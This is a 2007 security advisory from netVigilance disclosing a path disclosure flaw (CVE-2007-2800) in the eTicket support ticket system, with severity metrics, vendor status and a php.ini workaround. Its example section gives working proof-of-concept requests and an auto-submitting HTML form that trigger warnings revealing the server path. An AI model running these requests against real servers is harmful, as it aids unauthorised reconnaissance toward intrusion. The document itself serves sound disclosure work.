<<< Date Index >>>     <<< Thread Index >>>

eTicket version 1.5.5 Path Disclosure Vulnerability



        netVigilance Security Advisory #30
eTicket version 1.5.5 Path Disclosure Vulnerability
Description:
eTicket is an electronic (open source) support ticket system based on osTicket, 
that can receive tickets via email (pop3 or pipe) and a web-based form, as well 
as manage them using a web interface.
External References: 
Mitre CVE:  CVE-2007-2800
NVD NIST: CVE-2007-2800
OSVDB: 34785

Summary: 
eTicket is an electronic (open source) support ticket system based on osTicket.
A security problem in the product allows attackers to gather the true path of 
the server-side script. 

Advisory URL: 
http://www.netvigilance.com/advisory0030
Release Date:
06/27/2007

Severity:
Risk: Low
 
CVSS Metrics:
Access Vector: Remote
Access Complexity: Low
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None 
Impact Bias: Normal
CVSS Base Score: 2.3
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Confirmed
 
Vulnerability Impact: Attack
Host Impact: Path disclosure

SecureScout Testcase ID:
TC 17960
 
Vulnerable Systems:
eTicket version 1.5.5 (new version 1.5.5.1 is also vulnerable)
Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings.

Vendor:
HM2K

Vendor Status: 
HM 2K from eTicket got the Draft advisory on 21 May 2007 and got extensive 
support in how to fix the security problems on 23 May 2007 and 28 May 2007.
In HM 2K's own words HM 2K "lost interest" and HM 2K "seriously found it too 
difficult to orchestrate what you [netVigilance] were asking from me [HM 2K], 
so I just did what I thought was best.". netVigilance's tests show that version 
1.5.5.1 is also vulnerable. There currently is no official fix for this 
advisory.
 
Workaround:
Disable warning messages: modify in the php.ini file following line: 
display_errors = Off.
 
Example: 
REQUEST:
http://[TARGET]/[PRODUCT FOLDER]/index.php?name[]=1
OR
http://[TARGET]/[PRODUCT FOLDER]/index.php?email[]=1
OR
http://[TARGET]/[PRODUCT FOLDER]/index.php?phone[]=1
OR
http://[TARGET]/[PRODUCT FOLDER]/index.php?subject[]=1
OR (available for version 1.5.5 and also for new version 1.5.5.1)

Make file (example.html) with the next content:
"
<html>
<body onLoad="document.forms(0).submit();">
<form action="http://[TARGET]/[PRODUCT FOLDER]/index.php" method="POST">
<input type="hidden" name="name[]" value="1">
<input type="hidden" name="email[]" value="1">
<input type="hidden" name="phone[]" value="1">
<input type="hidden" name="subject[]" value="1">
</form>
</body>
</html>
"
Then load it in any web browser.
REPLY:
<b>Warning</b>:  htmlspecialchars() expects parameter 1 to be string, array 
given in <b>[DISCLOSED PATH][PRODUCT FOLDER]\inc\open_form.php</b> on line 
<b>[18 OR 26 OR 31 OR 51 OR 55]</b><br />
Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com